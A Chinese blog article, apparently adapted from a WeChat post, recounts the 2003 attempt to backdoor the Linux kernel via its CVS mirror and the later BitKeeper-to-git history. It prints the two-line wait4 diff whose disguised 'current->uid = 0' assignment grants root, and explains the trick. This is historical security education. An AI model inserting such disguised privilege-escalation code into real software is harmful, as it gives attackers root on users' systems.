如何在Linux系統中安裝個後門？

Linus大神把這些有意義的魔數寫入Linux內核中，而且使它們稱為系統調用的一部分，也就是說只要Linux還在，只要Linux還運行，這些數字將在全世界各地流淌。全世界的Linux應用程序開發者都將使用這些魔數才能正確調用重啟接口，而且考慮到前向兼容性，這些數字是不會被輕易更改或者去除的。幸運的是，只要你係統不重啟，Linus的詭計就不能得逞，機智！

Linux內核是開源代碼界可以說是最著名的標杆項目，全世界無數雙最頂尖的程序員的眼睛都盯著，正是基於此開源世界宣傳開源軟件比專有軟件更安全，那能不能向其中安插一個後門呢？雖然這是一件難度極高的事情，但有人差一點做到了，是怎麼回事呢？

在正式說之前，我們必須要了解一些背景知識。

2002年2月，Linux之父Linus Torvalds決定使用BitKeeper工具來管理Linux內核代碼主線（mainline）。利用版本控制工具，我們可以記錄每次代碼修改的差異，代碼修改的提交人信息，修改原因和其他信息，這對於軟件開發來說是一個很重要的事情。一開始Linus對BitKeeper評價很高，他認為是“The best tool for the job”。

BitMover是BitKeeper的開發廠商，其創始人和CEO是Larry McVoy，這個人也很熱衷於開源事業的發展。Larry期望BitKeeper能幫助Linus 免於陷入不斷加重的Linux內核管理工作中－－事實上，自從Linus 開始使用BitKeeper之後，Linux的開發步伐加快了兩倍。

BitMover授權Linux開發者不用付費就能使用這個工具－－前提是這樣一個協議：這個免費工具的真正使用者不能同時開發其競爭產品。換句話說，這個工具可以免費 使用（freely used），不過不能被自由克隆（freely cloned）。事實上，BitMover開發維護了兩個BitKeeper版本，一個免費的授權給Linux開發者使用開發Linux，另一個是商業產品需要購買，但BitKeeper其實也不虧，因為它的商業模式就是授權給開源開發者使用吸引那些付費用戶，相當於整個Linux開發團體給這個產品做了背書。當然這兩個版本都是BitMover的知識產權。

扯的原了，書回正傳。

2003年Linux源碼主拷貝存儲在BitKeeper中，如果開發者想往Linux代碼中提交一個修改，需要走一個審批流程，以此來確定這次更改能否被接受。每一次更改都有一個簡單的說明，其中包含一個指向審批記錄的鏈接。但是有些人不喜歡BitKeeper，於是BitMover的一些人（在Larry McVoy的指示下）建立一個單獨的CVS倉庫，這個倉庫包含了當前完整的Linux代碼以及全部的修改記錄，這樣的話不喜歡用BitKeeper的開發者就可以從CVS倉庫中獲取代碼，CVS代碼拷貝實際上是BitKeeper代碼的一個直接克隆。因此，CVS倉庫不是新修改提交代碼的地方，當然，當有人試圖往CVS中推送一些修改的時候，Larry McVoy能第一時間注意到。

故事就發生在這個CVS倉庫中。

2003年11月5號，Larry McVoy 注意到了一件怪事，CVS中的一個代碼變更沒有包含審批記錄的鏈接， 這是怎麼回事？

經過一番調查發現：從來沒有人批准過這個代碼變更，奇怪的是，這個代碼變更並沒有出現在BitKeeper主倉庫中，原來是有人黑進了CVS的服務器，偷偷插入了一段代碼。這段代碼到底做了什麼事情呢？

這段代碼修改了一個叫做wait4的Linux函數，程序可以使用wait4來等待一些事情的發生，這個代碼變更增加了這麼兩行：

+ if ((options == (__WCLONE | __WALL)) && (current->uid = 0))

+ retval = -EINVAL;

不仔細看，這段代碼並沒有什麼特別，只是做一下條件檢查，不滿足的話就返回錯誤碼。

但仔細一看"current->uid=0"是一個賦值語句啊！也就是說在用戶態調用wait4函數，條件隨便寫一個滿足“options == (__WCLONE | __WALL)”的，"current->uid=0"會立馬被執行。current->uid賦值為0意味著用戶ID被改成了0，也就拿到了root權限，那麼在系統中可以想幹什麼就幹什麼了。

幸運的是，這樣一個後門被Linux團隊敏銳的發現了，雖然它只是在CVS代碼庫中，但是危險性不容小覷。

首先，後門存在CVS中，不在BitKeeper的主倉庫中，從BitKeeper 代碼庫Build出的Linux肯定沒問題， 但是如果有人從CVS代碼庫中build了Linux， 那就中招了。其次，搞破壞的傢伙可能有這樣的預期：有個被Linus Torvalds所信任的內核開發者，他討厭BitKeeper，並且在使用CVS， 那當他修改了代碼，準備通過郵件的方式向Linus Torvalds發送patch的時候發現，咦，wait4這裡也有個code change， 是做條件檢查的，也包括進去吧。Linus收到補丁，一看是自己信任的兄弟提交的，沒有仔細檢查，於是後門代碼進入了主代碼倉庫。 那麼後果不堪設想！

故事二的創作來源於碼農翻身公眾號的文章：如何在Linux中安插一個後門？

：

https://blog.csdn.net/coderising/article/details/100682413

https://lwn.net/Articles/57135/

https://blog.csdn.net/glory1234work2115/article/details/51277402

https://freedom-to-

tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/

番外：

Linux使用BitKeeper做開發管理，但有人不樂意了，為什麼呢？因為BitKeeper是一個非開源但是有條件免費的版本控制工具，而Linux是開源軟件的標杆產品，用一個閉源軟件來管理開源軟件，就有“政治不正確”，心裡也膈應。但是在當時，確實也沒有哪個自由軟件/開源軟件工具具有BitKeeper那樣的功能－－它提供了真正的分佈式開發能力，所以又不得不用。

雖然有協議要求“這個免費工具的真正使用者不能同時開發其競爭產品”，但是還是有人不斷的試圖反向工程BitKeeper，多次這樣的舉動引起了BitMover的注意和警告，最終導致了BitMover決定終 止結束免費BitKeeper產品的開發和應用。

沒有了免費的BitKeeper，Linus大神自己在短短几個星期裡面擼了一個版本管理軟件git，更厲害的是他大概花一天的時間就讓Git能達到自己管理自己的程度（self-hosting），之後就開始用Git提交Git的程序代碼了。多年以後，Github代碼託管平臺在開源界橫空出世，被稱為程序員的社交平臺，它的底層就是Git。目前Linux也將代碼託管在Github上，真是令人感慨啊。